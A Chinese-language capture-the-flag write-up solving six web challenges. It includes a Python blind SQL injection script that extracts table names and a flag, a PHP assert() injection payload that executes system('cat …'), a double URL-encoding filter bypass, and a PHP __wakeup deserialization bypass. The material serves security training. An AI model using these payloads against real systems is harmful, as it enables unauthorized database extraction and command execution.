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1. isc-06
进入题目后看到url后存在参数id,尝试各种注入方式后均无果，使用bp对id参数进行爆破后得到flag。
2.NewsCenter
对search参数进行bool类型的盲注

import requests
s=requests.session()
url="http://111.198.29.45:38153/index.php"
key=''
for i in range(1,40):
    print("正在尝试",i)
    for j in range(37,127):
        #code="-1' or ascii(substr((select table_name from information_schema.tables where table_schema=database
()limit 1,1),"+str(i)+",1))="+str(j)+"#"
        #code="-1' or ascii(substr((select column_name from information_schema.columns where table_name='secret_
table'limit 1,1),"+str(i)+",1))="+str(j)+"#"
        code="-1' or ascii(substr((select fl4g from secret_table limit 0,1),"+str(i)+",1))="+str(j)+"#"
        payload={"search":code}
        c=s.post(url,data=payload)
        if 'Hello' in c.text:
            key=key+chr(j)
            print(key)
            break

3.mfw
总感觉在哪里做过…
利用githack获得网站源码，再结合index.php当中的漏洞语句 assert("file_exists('$file')") or die("That file doesn't

exist!");构造 ')提前对 file_exists函数闭合后实现任意命令执行

payload: ?page=') or system("cat templates/flag.php");%23得到flag
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4.NaNNaNNaNNaN-Batman

下载附件后得到了一段js文件，修改后缀为html后放入浏览器中执行

依旧是一段乱码，观察其中的结构发现脚本先定义了一个名为 _的变量，其中是定义的一个函数但具体内容由于乱码的问题还是

不由得知，最后使用eval方式进行调用，生成了一个输入框。乱码的问题如何解决呢，查阅了网上的相关writeup得知出现乱码问
题的关键就在于语句中的 eval()函数并不会执行函数而只会执行标签中的内容，如果我们想要看到function函数中的内容，我们
就要将 eval修改为 alert，让整个 _中的内容不被执行而仅返回代码。

得到获得flag的关键语句

e.length==16
e.match(/^be0f23/)!=null
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null
e.match(/c7be9/)!=null



也就是说我们变量e的长度需要是16,开头需要匹配到 be0f23 (^),结尾需要匹配到 e98aa ($),但是我们需要匹配到的四个长度为6的
字符串,和长度为16不匹配。
此时我们可以发现四个分组的开头和结尾存在有重合的部分,因此可以构造 e=be0f233ac7be98aa ,刚好符合上述的五个条件。
提交后得到flag
5.PHP2

先扫描一下后台，得到index.phps

利用url二次编码进行绕过得到flag
payload: http://111.198.29.45:49512/index.php?id=a%25%36%34min
6.unserialize3

魔术方法 wake_up会在类反序列化的时候调用，因此会直接退出进程，当序列化字符串表示对象属性个数的值大于真实个数的属

性就会跳过__wakeup的执行，因此采用修改整个属性个数值的方法进行绕过。
先构造一个正常的xctf类的对象: O:4:"xctf":1:{s:4:"flag";s:3:"111";} ,再修改属性的个数: O:4:"xctf":2:
{s:4:"flag";s:3:"111";} ,最后以get方式传入的到flag。
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